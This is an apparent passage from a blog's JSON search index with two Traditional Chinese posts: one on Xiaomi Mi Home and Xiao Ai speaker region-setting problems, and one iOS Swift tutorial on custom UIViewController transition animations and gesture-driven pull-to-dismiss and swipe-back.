小米", "date": "2020-01-12 22:04:14 +0800", "snippet": "米家 APP / 小愛音箱地區問題新添購小米空氣淨化器 3 & 記錄下米家與小愛音箱的連動問題前言關於小米的第四篇;最近再加一新成員 — 「小米空氣淨化器 3」 老實說從未關心過房間的空氣品質,平常看室外空氣霧濛濛還是會怕怕的,再加上本身長期鼻子過敏,就下手買了一台放房間了!新一代在主機上就有小螢幕顯示濾網剩餘使用時間、當前空氣品質、選擇運行模式,不用連接 APP 就能使用;連接 A...", "content": "米家 APP / 小愛音箱地區問題新添購小米空氣淨化器 3 & 記錄下米家與小愛音箱的連動問題前言關於小米的第四篇;最近再加一新成員 — 「小米空氣淨化器 3」 老實說從未關心過房間的空氣品質,平常看室外空氣霧濛濛還是會怕怕的,再加上本身長期鼻子過敏,就下手買了一台放房間了!新一代在主機上就有小螢幕顯示濾網剩餘使用時間、當前空氣品質、選擇運行模式,不用連接 APP 就能使用;連接 APP 的話就能遠端控制,但也沒其他特別的功能。買回來兩週了,發現房間空氣品質不錯;戶外空氣好時,室內空氣品質數值約在 001~006;室外空氣不好時,室內大約在 008~015;數值超過 75 才算空氣品質不好,150以上算嚴重;應該改買吸塵器比較實用XD不過有台空氣小尖兵守護家裡也是蠻不錯的。米家智慧家庭地區功能限制米家 APP 有分台灣跟中國兩個地區可以選擇;地區選擇會影響 APP 內的功能,當初設定的時候選了中國地區,想說選哪區其實資料都不安全,那不如選功能多的地區,可以玩更多功能。去年小愛音箱加入後,才注意到地區選擇有更複雜的問題;就是若要從小愛音箱控制米加智慧家電,兩個 APP 的地區必須選擇一樣,否則無法串接;這實在讓人苦惱,因為小愛音箱一樣如果選台灣,雖可搭配 KKBOX 但智慧功能是閹割版(少了小愛訓練)。因此我的小愛音箱原本的地區選擇也是設中國地區,之前買的家電再加入上沒碰到問題,最後也最後也無礙的建立好完整的智慧家庭流程:出門跟小愛說掰掰就會自動關閉所有電器+打開門口攝影機;回家則說到家了,一樣連動家電自動開啟;體驗起來蠻舒暢的!左:台灣/右:中國小米空氣淨化器 3的加入買了那麼多小米居家用品,新成員當然也要加入我的米家 APP!不過在加入的時候遇到問題,台灣版的小米空氣淨化器 3 無法加入我的米家 APP,要將米家 APP 地區切回台灣,才可….這下可麻煩了,唯獨空氣清淨機無法加入;怎麼試都無法,好像是配對方式台灣跟中國方式不一樣,無奈下只好將地區切回台灣,所有家電全部重設… 小愛音箱也改回台灣了。小愛音箱 + 米家智慧家庭場景控制因地區切回台灣,少了「小愛訓練」功能;無法直接在 APP 內設置詞彙執行對應的米家智慧家庭場景;再多方嘗試下,發現其實智慧家庭有連結授權米家 APP 的話,場景、家電還是會自動連動到小愛音箱授權控制!BUG我的場景「回家」小愛音箱能正確識別執行,但是「出門」卻一直無法識,嘗試了一個下午才發現是簡繁體問題;我把場景名稱換成「出门」,小愛音箱就能正常識別執行。 所以有場景無法執行問題的朋友不妨將場景名稱、裝置名稱改為簡體字。 完成!這樣就能在 APP 地區設定在台灣下,繼續照原本的體驗使用米加智慧家庭。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS UIViewController 轉場二三事", "url": "/posts/14cee137c565/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, swift, uiviewcontroller, mobile-app-development", "date": "2020-01-12 02:41:06 +0800", "snippet": "iOS UIViewController 轉場二三事UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解前言一直以來都很好奇諸如 Facebook、Line、Spotify…等等常用的 APP 是如何實作「Present 的 UIViewController 可下拉關閉」、「上拉漸入 UIViewController」、「全頁面支援手勢右滑返回」這些效果的。因為這些效...", "content": "iOS UIViewController 轉場二三事UIViewController 下拉關閉/上拉出現/全頁右滑返回 效果全解前言一直以來都很好奇諸如 Facebook、Line、Spotify…等等常用的 APP 是如何實作「Present 的 UIViewController 可下拉關閉」、「上拉漸入 UIViewController」、「全頁面支援手勢右滑返回」這些效果的。因為這些效果內建都沒有,下拉關閉也直到 iOS ≥ 13 才有系統的卡片樣式支援。探索之路不知道是不會下關鍵字還是資料本身難找,一直找不到這類功能的實踐做法,找到的資料都很含糊零散,只能東拼西湊。一開始自己研究做法時找到 UIPresentationController 這個 API ,沒再深掘其他資料,就用這個方法搭配 UIPanGestureRecognizer 用很土炮的方式完成下拉關閉的效果;一直都覺得哪裡怪怪的,感覺會有更好的方式。直到最近接觸新專案拜讀 大大的文章 ,擴大眼界才發現有其他 API 更漂亮、更有彈性的做法可以用。 本篇一方面是自我紀錄,另一方面希望有幫助到跟我有一樣困惑的朋友。 內容有點多,嫌麻煩的可以直接拉到底看範例,或直接下載 Github 專案回來研究!iOS 13 卡片樣式呈現頁面首先講最新系統內建的效果iOS ≥ 13 後 UIViewController.present(_:animated:completion:) 默認的 modalPresentationStyle 效果就是 UIModalPresentationAutomatic 片樣式呈現頁面,若想要保持之前的全頁面呈現就要特別指定回 UIModalPresentationFullScreen 即可。內建行事曆新增效果如何取消下拉關閉?關閉確認?更好的使用者體驗應該要能在觸發下拉關閉時檢查有無輸入資料,有的話需要提示使用者是否捨棄動作離開。這部分蘋果也幫我們想好了,只需實作 UIAdaptivePresentationControllerDelegate 裡的方法即可。import UIKitclass DetailViewController: UIViewController { private var onEdit:Bool = true; override func viewDidLoad() { super.viewDidLoad() //設置代理 self.presentationController?.delegate = self //if uiviewcontroller embed in navigationController: //self.navigationController?.presentationController?.delegate = self //取消下拉關閉方式(1): self.isModalInPresentation = true; } }//代理實作extension DetailViewController: UIAdaptivePresentationControllerDelegate { //取消下拉關閉方式(2): func presentationControllerShouldDismiss(_ presentationController: UIPresentationController) -> Bool { return false; } //下拉關閉取消時,下拉手勢觸發 func presentationControllerDidAttemptToDismiss(_ presentationController: UIPresentationController) { if (onEdit) { let alert = UIAlertController(title: \"資料尚未存儲\", message: nil, preferredStyle: .actionSheet) alert.addAction(UIAlertAction(title: \"捨棄離開\", style: .default) { _ in self.dismiss(animated: true) }) alert.addAction(UIAlertAction(title: \"繼續編輯\", style: .cancel, handler: nil)) self.present(alert, animated: true) } else { self.dismiss(animated: true, completion: nil) } }}取消下拉關閉可指定 UIViewController 的變數 isModalInPresentation 為 false 或實作 UIAdaptivePresentationControllerDelegate presentationControllerShouldDismiss 並回傳 true 擇一都可。UIAdaptivePresentationControllerDelegate presentationControllerDidAttemptToDismiss 這個方法只有在 下拉關閉取消時 才會呼叫使用。By the way…卡片樣式呈現頁面對系統來說就是 Sheet ,行為上跟 FullScreen 有所不同。 假設今天 RootViewController 是 HomeViewController 在卡片樣式呈現下 (UIModalPresentationAutomatic) 則: HomeViewController Present DetailViewController 時… HomeViewController 的 viewWillDisAppear / viewDidDisAppear 都不會觸發。 當 DetailViewController Dismiss 時… HomeViewController 的 viewWillAppear / viewDidAppear 都不會觸發。 ⚠️ 因 XCODE 11 之後版本打包的 iOS ≥ 13 APP 預設 Present 都會使用卡片樣式 (UIModalPresentationAutomatic) 如果之前有把一些邏輯放在 viewWillAppear/viewWillDisappear/viewDidAppear/viewDidDisappear 的要多加檢查注意! ⚠️ 看完系統內建的,來看本篇重頭戲吧!如何自幹這些效果?哪裡可做轉場動畫?首先先整理哪裡可以做視窗切換轉場動畫。UITabBarController/UIViewController/UINavigationControllerUITabBarController 切換時我們可以在 UITabBarController 設定 delegate 然後實作 animationControllerForTransitionFrom 方法,就能在切換 UITabBarController 時對內容套用自訂轉場特效。系統預設無動畫,上方展示圖的是淡入淡出切換特效。import UIKitclass MainTabBarViewController: UITabBarController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self } }extension MainTabBarViewController: UITabBarControllerDelegate { func tabBarController(_ tabBarController: UITabBarController, animationControllerForTransitionFrom fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { //return UIViewControllerAnimatedTransitioning }}UIViewController Present/Dismiss 時理所當然,在 Present/Dismiss UIViewController 時可以指定要套用的動畫效果,不然就不會有此篇文章了XD;不過值得一提的是,如果只是單純要做 Present 動畫沒有要做手勢控制,可以直接使用 UIPresentationController 方便快速 (詳見文末參考資料)。系統預設是上滑出現下滑消失!自己客製的話可以加入淡入、圓角、出現位置控制…等效果。import UIKitclass HomeAddViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() self.modalPresentationStyle = .custom self.transitioningDelegate = self } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { //回傳 nil 即走預設動畫 return //UIViewControllerAnimatedTransitioning Present時要套用的動畫 } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { //回傳 nil 即走預設動畫 return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫 }} 任何 UIViewController 都能實作 transitioningDelegate 告知 Present/Dismiss 動畫; UITabBarViewController 、 UINavigationController 、 UITableViewController ….都可UINavigationController Push/Pop 時UINavigationController 大概是最不太需要會改動畫的,因為系統預設的左滑出現右滑返回動畫已經是最好的效果,能想得到要做這部分的客製可能可以用來做無縫 UIViewController 左右切換效果。因為我們要做全頁都可手勢返回,需要配合自訂 POP 動畫,所以需要自己實作一個返回動畫效果。import UIKitclass HomeNavigationController: UINavigationController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self }}extension HomeNavigationController: UINavigationControllerDelegate { func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { if operation == .pop { return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫 } else if operation == .push { return //UIViewControllerAnimatedTransitioning push時要套用的動畫 } //回傳 nil 即走預設動畫 return nil }}交互非交互動畫?再講動畫實作、手勢控制前,先講一下何謂交互與非交互。交互動畫: 手勢觸發動畫,如 UIPanGestureRecognizer非交互動畫: 系統呼叫動畫,如 self.present( )怎麼實作動畫效果?講完哪裡可以做,再來看怎麼做動畫效果。我們需要實作 UIViewControllerAnimatedTransitioning 這個 Protocol 並在裡面對視窗做動畫。一般轉場動畫: UIView.animate直接使用 UIView.animate 做動畫處理,此時的 UIViewControllerAnimatedTransitioning 需要實作 transitionDuration 告知動畫時長、 animateTransition 實作動畫內容這兩個方法。import UIKitclass SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning { func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { //可用參數: //取得要展示的目標 UIViewController 的 View 內容: let toView = transitionContext.view(forKey: .to) //取得要展示的目標 UIViewController: let toViewController = transitionContext.viewController(forKey: .to) //取得要展示的目標 UIViewController 的 View 的初始化 Frame 資訊: let toInitalFrame = transitionContext.initialFrame(for: toViewController!) //取得要展示的目標 UIViewController 的 View 的最終 Frame 資訊: let toFinalFrame = transitionContext.finalFrame(for: toViewController!) //取得當前 UIViewController 的 View 內容: let fromView = transitionContext.view(forKey: .from) //取得當前 UIViewController: let fromViewController = transitionContext.viewController(forKey: .from) //取得當前 UIViewController 的 View 的初始化 Frame 資訊: let fromInitalFrame = transitionContext.initialFrame(for: fromViewController!) //取得當前 UIViewController 的 View 的最終 Frame 資訊: (在關閉動畫時可以取得之前顯示動畫時的最終Frame) let fromFinalFrame = transitionContext.finalFrame(for: fromViewController!) //toView.frame.origin.y = UIScreen.main.bounds.size.height UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: { //toView.frame.origin.y = 0 }) { (_) in if (!transitionContext.transitionWasCancelled) { //動畫沒中斷 } // 告知系統動畫完成 transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } } } To 跟 From: 假設今天 HomeViewController 要 Present/Push DetailViewController 時, From = HomeViewController / To = DetailViewController DetailViewController 要 Dismiss/Pop 時, From = DetailViewController / To = HomeViewController⚠️⚠️⚠️⚠️⚠️ 官方建議從 transitionContext.view 拿 View 使用,而不是從 transitionContext.viewController 拿 .view 使用。 但這邊有個問題,就是在做 Present/Dismiss 動畫時當 modalPresentationStyle = .custom ; Present 時使用 transitionContext.view(forKey: .from) 會是 nil 、 Dismiss 時使用 transitionContext.view(forKey: .to) 也會是 nil ; 還是需要從 viewController.view 拿值來用。⚠️⚠️⚠️⚠️⚠️ transitionContext.completeTransition(!transitionContext.transitionWasCancelled) 動畫完成必須呼叫,否則 畫面會卡死 ; 但因 UIView.animate 若無可執行動畫就不會 Call completion 造成前述方法未被呼叫;所以務必確保動畫是會執行的 (EX: y從100到0)。ℹ️ℹ️ℹ️ℹ️ℹ️ 參與動畫的 ToView/FromView ,若因 View 較為複雜或動畫時有些問題;可改用 snapshotView(afterScreenUpdates:) 截圖作為動畫展示,先截圖然後 transitionContext.containerView.addSubview(snapShotView) 上去圖層,接著隱藏原本的 ToView/FromView (isHidden = true) ,在動畫結束時在 snapShotView.removeFromSuperview() 和恢復顯示原本的 ToView/FromView (isHidden = true) 。可中斷、繼續的轉場動畫: UIViewPropertyAnimator另外也可以使用 iOS ≥ 10 新的動畫類別來實作動畫效果,看個人習慣或是動畫要做到多細節來做選擇,雖然官方的建議是有交互就使用 UIViewPropertyAnimator 但 不管是交互非交互(手勢控制) 一般都使用 UIView.animate 即可 ;UIViewPropertyAnimator 的轉場動畫能做到中斷繼續的效果,雖然我不知道實際能應用在哪,有興趣的朋友可參考 此篇文章 。import UIKitclass FadeInFadeOutTransition: NSObject, UIViewControllerAnimatedTransitioning { private var animatorForCurrentTransition: UIViewImplicitlyAnimating? func interruptibleAnimator(using transitionContext: UIViewControllerContextTransitioning) -> UIViewImplicitlyAnimating { //當前有轉場動畫時直接返回 if let animatorForCurrentTransition = animatorForCurrentTransition { return animatorForCurrentTransition } //參數同前述 //fromView.frame.origin.y = 100 let animator = UIViewPropertyAnimator(duration: transitionDuration(using: transitionContext), curve: .linear) animator.addAnimations { //fromView.frame.origin.y = 0 } animator.addCompletion { (position) in transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } //抓著動畫 self.animatorForCurrentTransition = animator return animator } func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { //如果是非交互會走這,就讓它也走交互的動畫 let animator = self.interruptibleAnimator(using: transitionContext) animator.startAnimation() } func animationEnded(_ transitionCompleted: Bool) { //動畫完成,清空 self.animatorForCurrentTransition = nil } } 交互情況下 (後面講控制會細提),會使用 interruptibleAnimator 方法的動畫;非交互的情況則還是使用 animateTransition 方法。 因為能繼續、中斷的特性;所以 interruptibleAnimator 是有可能會重複呼叫使用的;所以我們需要用一個全域變數做存取返回。Murmur… 其實我本來是想全都改用新的 UIViewPropertyAnimator 也想推薦大家都用新的來做,但我遇到一個很奇怪的問題,就是在做全頁手勢返回 Pop 動畫時,若手勢放開,動畫歸位,上方的 Navigation Bar 的 Item 會淡入淡出閃一下…找不到解,但回去用 UIView.animate 就沒這問題;如果有地方沒注意到歡迎跟我說<( _ _ )>。問題圖; + 按鈕是上一頁的所以保險起見還是用舊的方式吧!實際會依照不同的動畫效果建立個別的 Class,若覺得很檔案雜,可參考文末包好的方案;或是將同個連貫(Present+Dismii)動畫放在一起。transitionCoordinator另外如果需要更細緻的控制,例如 ViewController 裡面有某個元件需要配合轉場動畫改變;可在 UIViewController 中使用 transitionCoordinator 進行協作,這部分我沒用到;有興趣可參考 此篇文章 。怎麼控制動畫?這邊就是前述所說的「交互」,實際就是手勢控制;本篇最重要的章節,因為我們的要做的是手勢操作與轉場動畫的連動功能,才能達成我們要的下拉關閉、全頁返回功能。控制代理設置:同前面 ViewController 代理動畫設計,交互處理的類也需要在代理中告知 ViewController 。UITabBarController: 無 UINavigationController (Push/Pop):import UIKitclass HomeNavigationController: UINavigationController { override func viewDidLoad() { super.viewDidLoad() self.delegate = self }}extension HomeNavigationController: UINavigationControllerDelegate { func navigationController(_ navigationController: UINavigationController, animationControllerFor operation: UINavigationController.Operation, from fromVC: UIViewController, to toVC: UIViewController) -> UIViewControllerAnimatedTransitioning? { if operation == .pop { return //UIViewControllerAnimatedTransitioning 返回時要套用的動畫 } else if operation == .push { return //UIViewControllerAnimatedTransitioning push時要套用的動畫 } //回傳 nil 即走預設動畫 return nil } //新增交互代理方法: func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //這邊無法得知是Pop還是Push 只能從要做的動畫本身做判斷 if animationController is push時套用的動畫 { return //UIPercentDrivenInteractiveTransition push動畫的交互控制方法 } else if animationController is 返回時套用的動畫 { return //UIPercentDrivenInteractiveTransition pop動畫的交互控制方法 } //回傳 nil 即不做交互處理 return nil }}UIViewController (Present/Dismiss):import UIKitclass HomeAddViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() self.modalPresentationStyle = .custom self.transitioningDelegate = self } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //return nil 即不做交互處理 return //UIPercentDrivenInteractiveTransition Dismiss時交互控制方法 } func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //return nil 即不做交互處理 return //UIPercentDrivenInteractiveTransition Present時交互控制方法 } func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { //回傳 nil 即走預設動畫 return //UIViewControllerAnimatedTransitioning Present時要套用的動畫 } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { //回傳 nil 即走預設動畫 return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫 } }⚠️⚠️⚠️⚠️⚠️ 有實作 interactionControllerFor … 這些方法,就算動畫是非交互(EX: self.present 系統呼叫轉場) 也會 Call 這些方法處理;我們需要控制的是裡面的 wantsInteractiveStart 參數(下面介紹)。動畫交互處理類 UIPercentDrivenInteractiveTransition:再來講核心要實作的 UIPercentDrivenInteractiveTransition 。import UIKitclass PullToDismissInteractive: UIPercentDrivenInteractiveTransition { //要加手勢控制交互的UIView private var interactiveView: UIView! //當前的UIViewController private var presented: UIViewController! //當托拉超過多少%後就完成執行,否則復原 private let thredhold: CGFloat = 0.4 //不同轉場效果可能需要不同資訊,可自訂 convenience init(_ presented: UIViewController, _ interactiveView: UIView) { self.init() self.interactiveView = interactiveView self.presented = presented setupPanGesture() //默認值,告知系統當前非交互動畫 wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 panGesture.delegate = self interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: //reset 手勢位置 sender.setTranslation(.zero, in: interactiveView) //告知系統當前開始的是手勢觸發的交互動畫 wantsInteractiveStart = true //在手勢began時呼叫要做的轉場效果(不會直接執行,系統會抓住) //然後轉場效果有設對應的動畫就會跳到 UIViewControllerAnimatedTransitioning 處理 // animated 一定為 true 否則沒動畫 //Dismiss: self.presented.dismiss(animated: true, completion: nil) //Present: //self.present(presenting,animated: true) //Push: //self.navigationController.push(presenting) //Pop: //self.navigationController.pop(animated: true) case .changed: //手勢滑動的位置計算 對應動畫完成百分比 0~1 //實際依動畫類型不同,計算方式不同 let translation = sender.translation(in: interactiveView) guard translation.y >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.y / interactiveView.bounds.height) //update UIViewControllerAnimatedTransitioning 動畫百分比 update(percentage) case .ended: //手勢放開完成時,看完成度有沒有超過 thredhold wantsInteractiveStart = false if percentComplete >= thredhold { //有,告知動畫完成 finish() } else { //無,告知動畫歸位復原 cancel() } case .cancelled, .failed: //取消、錯誤時 wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}//當UIViewController內有UIScrollView元件(UITableView/UICollectionView/WKWebView....),防止手勢衝突//當裡面的UIScrollView元件已滑到頂部,則啟用交互轉場的手勢操作extension PullToDismissInteractive: UIGestureRecognizerDelegate { func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { if let scrollView = otherGestureRecognizer.view as? UIScrollView { if scrollView.contentOffset.y <= 0 { return true } else { return false } } return true } }*關於 sender.setTranslation( .zero, in:interactiveView) 原因的補充點我<我們需要依據不同的手勢操作效果,實作不同的 Class;若是同個連貫(Present+Dismii)的操作也可包在一起。⚠️⚠️⚠️⚠️⚠️ wantsInteractiveStart 務必處於符合的狀態 ,若在交互動畫時告知 wantsInteractiveStart = false 也會造成卡畫面; 要退出重進 APP 才會恢復正。⚠️⚠️⚠️⚠️⚠️ interactiveView 也一定要是 isUserInteractionEnabled = true 哦 可以多加設置確保一下!組合當我們把這裡個 Delegate 設好、 Class 建好後就能做到我們想要的功能了。再來不囉唆,直接上完成範例。自製下拉關閉頁面效果自製下拉的好處在能支援市面所有 iOS 版本、可控制蓋板百分比、控制觸發關閉位置、客製化動畫效果。點右上方 + Present 頁面這是一個 HomeViewController Present HomeAddViewController 和 HomeAddViewController Dismiss的範例。import UIKitclass HomeViewController: UIViewController { @IBAction func addButtonTapped(_ sender: Any) { guard let homeAddViewController = UIStoryboard(name: \"Main\", bundle: nil).instantiateViewController(identifier: \"HomeAddViewController\") as? HomeAddViewController else { return } //transitioningDelegate 可指定目標ViewController處理或當前的ViewController處理 homeAddViewController.transitioningDelegate = homeAddViewController homeAddViewController.modalPresentationStyle = .custom self.present(homeAddViewController, animated: true, completion: nil) }}import UIKitclass HomeAddViewController: UIViewController { private var pullToDismissInteractive:PullToDismissInteractive! override func viewDidLoad() { super.viewDidLoad() //綁定轉場交互資訊 self.pullToDismissInteractive = PullToDismissInteractive(self, self.view) } }extension HomeAddViewController: UIViewControllerTransitioningDelegate { func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { return pullToDismissInteractive } func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { return PresentAndDismissTransition(false) } func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { return PresentAndDismissTransition(true) } func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { //這邊無Present操作手勢 return nil }}import UIKitclass PullToDismissInteractive: UIPercentDrivenInteractiveTransition { private var interactiveView: UIView! private var presented: UIViewController! private var completion:(() -> Void)? private let thredhold: CGFloat = 0.4 convenience init(_ presented: UIViewController, _ interactiveView: UIView,_ completion:(() -> Void)? = nil) { self.init() self.interactiveView = interactiveView self.completion = completion self.presented = presented setupPanGesture() wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 panGesture.delegate = self interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: sender.setTranslation(.zero, in: interactiveView) wantsInteractiveStart = true self.presented.dismiss(animated: true, completion: self.completion) case .changed: let translation = sender.translation(in: interactiveView) guard translation.y >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.y / interactiveView.bounds.height) update(percentage) case .ended: if percentComplete >= thredhold { finish() } else { wantsInteractiveStart = false cancel() } case .cancelled, .failed: wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}extension PullToDismissInteractive: UIGestureRecognizerDelegate { func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { if let scrollView = otherGestureRecognizer.view as? UIScrollView { if scrollView.contentOffset.y <= 0 { return true } else { return false } } return true } }import UIKit//蓋在原本View上得半透明遮罩效果Viewclass DimmingView:UIView { override init(frame: CGRect) { super.init(frame: frame) self.backgroundColor = UIColor.black self.alpha = 0 } required init?(coder: NSCoder) { fatalError(\"init(coder:) has not been implemented\") }}class PresentAndDismissTransition: NSObject, UIViewControllerAnimatedTransitioning { private var isDismiss:Bool! convenience init(_ isDismiss:Bool) { self.init() self.isDismiss = isDismiss } func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { guard let toViewController = transitionContext.viewController(forKey: .to),let fromViewController = transitionContext.viewController(forKey: .from) else { return } if !self.isDismiss { //Present toViewController.view.frame.size.height -= 50 toViewController.view.frame.origin.y = UIScreen.main.bounds.size.height transitionContext.containerView.addSubview(toViewController.view) let toViewpath = UIBezierPath(roundedRect: toViewController.view.bounds, byRoundingCorners: [.topLeft, .topRight], cornerRadii: CGSize(width: 6, height: 6)) let toViewmask = CAShapeLayer() toViewmask.path = toViewpath.cgPath toViewController.view.layer.mask = toViewmask let fromViewpath = UIBezierPath(roundedRect: fromViewController.view.bounds, byRoundingCorners: [.topLeft, .topRight], cornerRadii: CGSize(width: 6, height: 6)) let fromViewmask = CAShapeLayer() fromViewmask.path = fromViewpath.cgPath fromViewController.view.layer.mask = fromViewmask let dimmingView = DimmingView(frame: fromViewController.view.frame) transitionContext.containerView.insertSubview(dimmingView, belowSubview: toViewController.view) fromViewController.view.transform = CGAffineTransform(scaleX: 1.0, y: 1.0) UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveEaseOut], animations: { dimmingView.alpha = 0.7 fromViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9) toViewController.view.frame.origin.y = 50 }) { (_) in fromViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9) transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } } else { //Dismiss let dimmingView = transitionContext.containerView.subviews.first(where: { (view) -> Bool in return view is DimmingView }) fromViewController.view.frame.origin.y = 50 //or use finalFrame let fromViewSnpaShot = fromViewController.view.snapshotView(afterScreenUpdates: false) if let fromViewSnpaShot = fromViewSnpaShot { fromViewController.view.isHidden = true fromViewSnpaShot.frame = fromViewController.view.frame transitionContext.containerView.addSubview(fromViewSnpaShot) } dimmingView?.alpha = 0.7 toViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9) UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: { dimmingView?.alpha = 0 fromViewSnpaShot?.frame.origin.y = UIScreen.main.bounds.size.height toViewController.view.transform = CGAffineTransform(scaleX: 1.0, y: 1.0) }) { (_) in if (!transitionContext.transitionWasCancelled) { toViewController.view.transform = .identity dimmingView?.removeFromSuperview() toViewController.view.layer.mask = nil } fromViewSnpaShot?.removeFromSuperview() fromViewController.view.isHidden = false transitionContext.completeTransition(!transitionContext.transitionWasCancelled) } } } }以上就能達到如圖的效果,這邊因教學展示不想弄的路太複雜,所以程式碼很醜,還有很多優化整合的空間。 值得一提的是… iOS ≥ 13,如果遇到 View 內容有 UITextView,在做下拉關閉動畫時,動畫當中 UITextView 的文字內容會一片空白;造成體驗會閃一下 (影片範例) … 這邊的解決方案是在做動畫時用 snapshotView(afterScreenUpdates:) 截圖取代原本的 View 圖層。全頁右滑返回在尋找全畫面都能手勢右滑返回的解決方案時,找到個 Tricky 的方法:直接在畫面上加一個 UIPanGestureRecognizer 然後將 target 、 action 都指定到原生的 interactivePopGestureRecognizer , action:handleNavigationTransition 。*詳細方法點我<沒錯!看起來就很 Private API,感覺審核會被拒;而且不確定 Swift 是否可用,應該有用到 OC 才有的 Runtime 特性。還是走正規的吧:ㄧ樣使用本篇的方式,我們在 navigationController POP 返回時自行處理;添加一個全頁右滑手勢控制配合自訂右滑動畫,即可!其他省略,只貼關鍵的動畫跟交互處理類別:import UIKitclass SwipeBackInteractive: UIPercentDrivenInteractiveTransition { private var interactiveView: UIView! private var navigationController: UINavigationController! private let thredhold: CGFloat = 0.4 convenience init(_ navigationController: UINavigationController, _ interactiveView: UIView) { self.init() self.interactiveView = interactiveView self.navigationController = navigationController setupPanGesture() wantsInteractiveStart = false } private func setupPanGesture() { let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) panGesture.maximumNumberOfTouches = 1 interactiveView.addGestureRecognizer(panGesture) } @objc func handlePan(_ sender: UIPanGestureRecognizer) { switch sender.state { case .began: sender.setTranslation(.zero, in: interactiveView) wantsInteractiveStart = true self.navigationController.popViewController(animated: true) case .changed: let translation = sender.translation(in: interactiveView) guard translation.x >= 0 else { sender.setTranslation(.zero, in: interactiveView) return } let percentage = abs(translation.x / interactiveView.bounds.width) update(percentage) case .ended: if percentComplete >= thredhold { finish() } else { wantsInteractiveStart = false cancel() } case .cancelled, .failed: wantsInteractiveStart = false cancel() default: wantsInteractiveStart = false return } }}import UIKitclass SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning { func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval { return 0.4 } func animateTransition(using transitionContext: UIViewControllerContextTransitioning) { guard let toView = transitionContext.view(forKey: .to), let fromView = transitionContext.view(forKey: .from) else { return } toView.frame.origin.x = -(UIScreen.main.bounds.size.width / 2) fromView.frame.origin.x = 0 transitionContext.containerView.insertSubview(toView, belowSubview: fromView) let shadowRect: CGRect = CGRect(x: -4, y: -20, width: 4, height: fromView.frame.height) let shadowPath: UIBezierPath = UIBezierPath(rect: shadowRect) fromView.layer.shadowPath = shadowPath.cgPath fromView.layer.shadowOpacity = 0.8 UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: { toView.frame.origin.x = 0 